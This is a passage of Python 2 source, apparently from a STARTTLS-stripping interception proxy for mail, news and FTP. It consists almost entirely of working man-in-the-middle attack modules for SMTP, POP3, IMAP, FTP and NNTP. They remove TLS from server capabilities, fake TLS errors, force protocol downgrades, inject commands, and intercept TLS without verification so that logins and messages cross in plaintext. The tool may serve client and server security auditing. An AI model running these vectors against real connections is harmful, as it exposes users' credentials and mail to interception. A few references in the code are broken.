keywordlist):\r\n self.protocol_id = proto\r\n logger.debug(\"%s - protocol detected (protocol messages)\"%repr(self))\r\n return\r\n \r\nclass Session(object):\r\n ''' Proxy session from client <-> proxy <-> server \r\n @param inbound: inbound socket\r\n @param outbound: outbound socket\r\n @param target: target tuple ('ip',port) \r\n @param buffer_size: socket buff size'''\r\n \r\n def __init__(self, proxy, inbound=None, outbound=None, target=None, buffer_size=4096):\r\n self.proxy = proxy\r\n self.bind = proxy.getsockname()\r\n self.inbound = TcpSockBuff(inbound)\r\n self.outbound = TcpSockBuff(outbound, peer=target)\r\n self.buffer_size = buffer_size\r\n self.protocol = ProtocolDetect(target=target)\r\n self.datastore = {}\r\n \r\n def __repr__(self):\r\n return \"<Session %s [client: %s] --> [prxy: %s] --> [target: %s]>\"%(hex(id(self)),\r\n self.inbound.peer,\r\n self.bind,\r\n self.outbound.peer)\r\n def __str__(self):\r\n return \"<Session %s>\"%hex(id(self))\r\n \r\n def connect(self, target):\r\n self.outbound.peer = target\r\n logger.info(\"%s connecting to target %s\"%(self, repr(target)))\r\n return self.outbound.connect(target)\r\n \r\n def accept(self):\r\n sock, addr = self.proxy.accept()\r\n self.inbound = TcpSockBuff(sock)\r\n self.inbound.peer = addr\r\n logger.info(\"%s client %s has connected\"%(self,repr(self.inbound.peer)))\r\n return sock,addr\r\n \r\n def get_peer_sockets(self):\r\n return [self.inbound.socket, self.outbound.socket]\r\n \r\n def notify_read(self, sock):\r\n if sock == self.proxy:\r\n self.accept()\r\n self.connect(self.outbound.peer)\r\n elif sock == self.inbound.socket:\r\n # new client -> prxy - data\r\n self.on_recv_peek(self.inbound, self)\r\n self.on_recv(self.inbound, self.outbound, self)\r\n elif sock == self.outbound.socket:\r\n # new sprxy <- target - data\r\n self.on_recv(self.outbound, self.inbound, self)\r\n return \r\n \r\n def close(self):\r\n try:\r\n self.outbound.socket.shutdown(2)\r\n self.outbound.socket.close()\r\n self.inbound.socket.shutdown(2)\r\n self.inbound.socket.close()\r\n except socket.error, se:\r\n logger.warning(\"session.close(): Exception: %s\"%repr(se))\r\n raise SessionTerminatedException()\r\n \r\n def on_recv(self, s_in, s_out, session):\r\n data = s_in.recv(session.buffer_size)\r\n self.protocol.detect(data)\r\n if not len(data):\r\n return session.close()\r\n if s_in == session.inbound:\r\n data = self.mangle_client_data(session, data)\r\n elif s_in == session.outbound:\r\n data = self.mangle_server_data(session, data)\r\n if data:\r\n s_out.sendall(data)\r\n return data\r\n \r\n def on_recv_peek(self, s_in, session): pass\r\n def mangle_client_data(self, session, data, rewrite): return data\r\n def mangle_server_data(self, session, data, rewrite): return data\r\n \r\nclass ProxyServer(object):\r\n '''Proxy Class'''\r\n \r\n def __init__(self, listen, target, buffer_size=4096, delay=0.0001):\r\n self.input_list = set([])\r\n self.sessions = {} # sock:Session()\r\n self.callbacks = {} # name: [f,..]\r\n #\r\n self.listen = listen\r\n self.target = target\r\n #\r\n self.buffer_size = buffer_size\r\n self.delay = delay\r\n self.bind = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.bind.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\r\n self.bind.bind(listen)\r\n self.bind.listen(200)\r\n \r\n def __str__(self):\r\n return \"<Proxy %s listen=%s target=%s>\"%(hex(id(self)),self.listen, self.target)\r\n \r\n def get_session_by_client_sock(self, sock):\r\n return self.sessions.get(sock)\r\n \r\n def set_callback(self, name, f):\r\n self.callbacks[name] = f\r\n \r\n def main_loop(self):\r\n self.input_list.add(self.bind)\r\n while True:\r\n time.sleep(self.delay)\r\n inputready, _, _ = select.select(self.input_list, [], [])\r\n \r\n for sock in inputready:\r\n if not sock in self.input_list: \r\n # Check if inputready sock is still in the list of socks to read from\r\n # as SessionTerminateException might remove multiple sockets from that list\r\n # this might otherwise lead to bad FD access exceptions\r\n continue\r\n session = None\r\n try:\r\n if sock == self.bind:\r\n # on_accept\r\n session = Session(sock, target=self.target)\r\n for k,v in self.callbacks.iteritems():\r\n setattr(session, k, v)\r\n session.notify_read(sock)\r\n for s in session.get_peer_sockets():\r\n self.sessions[s]=session\r\n self.input_list.update(session.get_peer_sockets())\r\n else:\r\n # on_recv\r\n try:\r\n session = self.get_session_by_client_sock(sock)\r\n session.notify_read(sock)\r\n except ssl.SSLError, se:\r\n if se.errno != ssl.SSL_ERROR_WANT_READ:\r\n raise\r\n continue\r\n except SessionTerminatedException:\r\n self.input_list.difference_update(session.get_peer_sockets())\r\n logger.warning(\"%s terminated.\"%session)\r\n except Exception, e:\r\n logger.error(\"main: %s\"%repr(e))\r\n if isinstance(e,IOError):\r\n for kname,value in ((a,getattr(Vectors,a)) for a in dir(Vectors) if a.startswith(\"_TLS_\")):\r\n if not os.path.isfile(value):\r\n logger.error(\"%s = %s - file not found\"%(kname, repr(value)))\r\n if session:\r\n logger.error(\"main: removing all sockets associated with session that raised exception: %s\"%repr(session))\r\n try:\r\n session.close()\r\n except SessionTerminatedException: pass\r\n self.input_list.difference_update(session.get_peer_sockets())\r\n elif sock and sock!=self.bind:\r\n # exception for non-bind socket - probably fine to close and remove it from our list\r\n logger.error(\"main: removing socket that probably raised the exception\")\r\n sock.close()\r\n self.input_list.remove(sock)\r\n else:\r\n # this is just super-fatal - something happened while processing our bind socket.\r\n raise \r\n \r\nclass Vectors:\r\n _TLS_CERTFILE = \"server.pem\"\r\n _TLS_KEYFILE = \"server.pem\"\r\n \r\n class GENERIC:\r\n _PROTO_ID = None\r\n class Intercept:\r\n '''\r\n proto independent msg_peek based tls interception\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite): return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite): return data\r\n @staticmethod\r\n def on_recv_peek(session, s_in):\r\n if s_in.socket_ssl:\r\n return\r\n \r\n ssl_version = session.protocol.detect_peek_tls(s_in)\r\n if ssl_version:\r\n logger.info(\"SSL Handshake detected - performing ssl/tls conversion\")\r\n try:\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n session.outbound.ssl_wrap_socket_with_context(context, server_side=False)\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n except Exception, e:\r\n logger.warning(\"Exception - not ssl intercepting outbound: %s\"%repr(e))\r\n \r\n @staticmethod\r\n def create_ssl_context(proto=ssl.PROTOCOL_SSLv23, \r\n verify_mode=ssl.CERT_NONE,\r\n protocols=None,\r\n options=None,\r\n ciphers=\"ALL\"):\r\n protocols = protocols or ('PROTOCOL_SSLv3','PROTOCOL_TLSv1',\r\n 'PROTOCOL_TLSv1_1','PROTOCOL_TLSv1_2')\r\n options = options or ('OP_CIPHER_SERVER_PREFERENCE','OP_SINGLE_DH_USE',\r\n 'OP_SINGLE_ECDH_USE','OP_NO_COMPRESSION')\r\n context = ssl.SSLContext(proto)\r\n context.verify_mode = verify_mode\r\n # reset protocol, options\r\n context.protocol = 0\r\n context.options = 0\r\n for p in protocols:\r\n context.protocol |= getattr(ssl, p, 0)\r\n for o in options:\r\n context.options |= getattr(ssl, o, 0)\r\n context.set_ciphers(ciphers)\r\n return context\r\n \r\n class InboundIntercept:\r\n '''\r\n proto independent msg_peek based tls interception\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n # peek again - make sure to check for inbound ssl connections\r\n # before forwarding data to the inbound channel\r\n # just in case server is faster with answer than client with hello\r\n # likely if smtpd and striptls are running on the same segment\r\n # and client is not.\r\n if not session.inbound.socket_ssl:\r\n # only peek if inbound is not in tls mode yet\r\n # kind of a hack but allow additional 0.1 secs for the client\r\n # to send its hello\r\n time.sleep(0.1)\r\n Vectors.GENERIC.InterceptInbound.on_recv_peek(session, session.inbound)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite): \r\n return data\r\n @staticmethod\r\n def on_recv_peek(session, s_in):\r\n if s_in.socket_ssl:\r\n return\r\n \r\n ssl_version = session.protocol.detect_peek_tls(s_in)\r\n if ssl_version:\r\n logger.info(\"SSL Handshake detected - performing ssl/tls conversion\")\r\n try:\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n except Exception, e:\r\n logger.warning(\"Exception - not ssl intercepting inbound: %s\"%repr(e))\r\n \r\n class SMTP:\r\n _PROTO_ID = 25\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data:\r\n features = [f for f in data.strip().split('\\r\\n') if not \"STARTTLS\" in f]\r\n if not features[-1].startswith(\"250 \"):\r\n features[-1] = features[-1].replace(\"250-\",\"250 \") # end marker\r\n data = '\\r\\n'.join(features)+'\\r\\n' \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithInvalidResponseCode:\r\n ''' 1) Force Server response to contain STARTTLS even though it does not support it (just because we can)\r\n 2) Respond to client STARTTLS with invalid response code\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data:\r\n features = list(data.strip().split(\"\\r\\n\"))\r\n features.insert(-1,\"250-STARTTLS\") # add STARTTLS from capabilities\r\n #if \"STARTTLS\" in data:\r\n # features = [f for f in features if not \"STARTTLS\" in f] # remove STARTTLS from capabilities\r\n data = '\\r\\n'.join(features)+'\\r\\n' \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"200 STRIPTLS\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"200 STRIPTLS\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithTemporaryError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"454 TLS not available due to temporary reason\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"454 TLS not available due to temporary reason\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"501 Syntax error\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"501 Syntax error\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"220 Go ahead\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"220 Go ahead\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n \r\n # outbound ssl\r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if \"220\" not in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket() \r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class InboundStarttlsProxy:\r\n ''' Inbound is starttls, outbound is plain\r\n 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n # keep track of stripped server ehlo/helo\r\n if any(e in session.outbound.sndbuf.lower() for e in ('ehlo','helo')) and \"250\" in data and not session.datastore.get(\"server_ehlo_stripped\"): #only do this once\r\n # wait for full line\r\n while not \"250 \" in data:\r\n data+=session.outbound.recv_blocked()\r\n \r\n features = [f for f in data.strip().split('\\r\\n') if not \"STARTTLS\" in f]\r\n if features and not features[-1].startswith(\"250 \"):\r\n features[-1] = features[-1].replace(\"250-\",\"250 \") # end marker\r\n # force starttls announcement\r\n session.datastore['server_ehlo_stripped']= '\\r\\n'.join(features)+'\\r\\n' # stripped\r\n \r\n if len(features)>1:\r\n features.insert(-1,\"250-STARTTLS\")\r\n else:\r\n features.append(\"250 STARTTLS\")\r\n features[0]=features[0].replace(\"250 \",\"250-\")\r\n data = '\\r\\n'.join(features)+'\\r\\n' # forced starttls\r\n session.datastore['server_ehlo'] = data\r\n \r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"220 Go ahead\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"220 Go ahead\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # inbound ssl, fake server ehlo on helo/ehlo\r\n indata = session.inbound.recv_blocked()\r\n if not any(e in indata for e in ('ehlo','helo')):\r\n raise ProtocolViolationException(\"whoop!? client did not send EHLO/HELO after STARTTLS finished.. proto violation: %s\"%repr(indata))\r\n logger.debug(\"%s [client] => [ ][mangled] %s\"%(session,repr(indata)))\r\n session.inbound.sendall(session.datastore[\"server_ehlo_stripped\"])\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(session.datastore[\"server_ehlo_stripped\"])))\r\n data=None\r\n elif any(e in data for e in ('ehlo','helo')) and session.datastore.get(\"server_ehlo_stripped\"):\r\n # just do not forward the second ehlo/helo\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class ProtocolDowngradeStripExtendedMode:\r\n ''' Return error on EHLO to force peer to non-extended mode\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.lower().startswith(\"ehlo \"):\r\n session.inbound.sendall(\"502 Error: command \\\"EHLO\\\" not implemented\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"502 Error: command \\\"EHLO\\\" not implemented\\r\\n\")))\r\n data=None\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class InjectCommand:\r\n ''' 1) Append command to STARTTLS\\r\\n.\r\n 2) untrusted intercept to check if we get an invalid command response from server\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n data += \"INJECTED_INVALID_COMMAND\\r\\n\"\r\n #logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(data)))\r\n try:\r\n Vectors.SMTP.UntrustedIntercept.mangle_client_data(session, data, rewrite)\r\n except ssl.SSLEOFError, se:\r\n logging.info(\"%s - Server failed to negotiate SSL with Exception: %s\"%(session, repr(se))) \r\n session.close()\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class POP3:\r\n _PROTO_ID = 110\r\n \r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STLS support\r\n 2) raise exception if client tries to negotiated STLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if data.lower().startswith('+ok capability'):\r\n features = [f for f in data.strip().split('\\r\\n') if not \"stls\" in f.lower()]\r\n data = '\\r\\n'.join(features)+'\\r\\n'\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.lower().startswith(\"stls\"):\r\n raise ProtocolViolationException(\"whoop!? client sent STLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif any(c in data.lower() for c in ('list','user ','pass ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"stls\" == data.strip().lower():\r\n session.inbound.sendall(\"-ERR unknown command\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"-ERR unknown command\\r\\n\")))\r\n data=None\r\n elif any(c in data.lower() for c in ('list','user ','pass ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"stls\"==data.strip().lower():\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"+OK Begin TLS negotiation\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"+OK Begin TLS negotiation\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_CERTFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if \"+OK\" not in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif any(c in data.lower() for c in ('list','user ','pass ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class IMAP:\r\n _PROTO_ID = 143\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \"CAPABILITY \" in data:\r\n # rfc2595\r\n data = data.replace(\" STARTTLS\",\"\").replace(\" LOGINDISABLED\",\"\")\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \" STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \" LOGIN \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.strip().lower().endswith(\"starttls\"):\r\n id = data.split(' ',1)[0].strip()\r\n session.inbound.sendall(\"%s BAD unknown command\\r\\n\"%id)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%s BAD unknown command\\r\\n\"%id)))\r\n data=None\r\n elif \" LOGIN \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class ProtocolDowngradeToV2:\r\n ''' Return IMAP2 instead of IMAP4 in initial server response\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if all(kw.lower() in data.lower() for kw in (\"IMAP4\",\"* OK \")):\r\n session.inbound.sendall(\"OK IMAP2 Server Ready\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"OK IMAP2 Server Ready\\r\\n\")))\r\n data=None\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"mail from\" in data.lower():\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if data.strip().lower().endswith(\"starttls\"):\r\n id = data.split(' ',1)[0].strip()\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"%s OK Begin TLS negotation now\\r\\n\"%id)\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"%s OK Begin TLS negotation now\\r\\n\"%id)))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_CERTFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n \r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if \"%s OK\"%id not in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \" LOGIN \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class FTP:\r\n _PROTO_ID = 21\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce AUTH TLS support\r\n 2) raise exception if client tries to negotiated AUTH TLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if session.outbound.sndbuf.strip().lower()==\"feat\" \\\r\n and \"AUTH TLS\" in data:\r\n features = (f for f in data.strip().split('\\n') if not \"AUTH TLS\" in f)\r\n data = '\\n'.join(features)+\"\\r\\n\"\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"AUTH TLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"USER \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending AUTH TLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"AUTH TLS\" in data:\r\n session.inbound.sendall(\"500 AUTH TLS not understood\\r\\n\")\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"500 AUTH TLS not understood\\r\\n\")))\r\n data=None\r\n elif \"USER \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"AUTH TLS\" in data:\r\n # do inbound STARTTLS\r\n session.inbound.sendall(\"234 OK Begin TLS negotation now\\r\\n\")\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"234 OK Begin TLS negotation now\\r\\n\")))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not resp_data.startswith(\"234\"):\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif \"USER \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class NNTP:\r\n _PROTO_ID = 119\r\n class StripFromCapabilities:\r\n ''' 1) Force Server response to *NOT* announce STARTTLS support\r\n 2) raise exception if client tries to negotiated STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if session.outbound.sndbuf.strip().lower()==\"capabilities\" \\\r\n and \"STARTTLS\" in data:\r\n features = (f for f in data.strip().split('\\n') if not \"STARTTLS\" in f)\r\n data = '\\n'.join(features)+\"\\r\\n\"\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\r\n elif \"GROUP \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n session.inbound.sendall(\"502 Command unavailable\\r\\n\") # or 580 Can not initiate TLS negotiation\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"502 Command unavailable\\r\\n\")))\r\n data=None\r\n elif \"GROUP \" in data:\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def 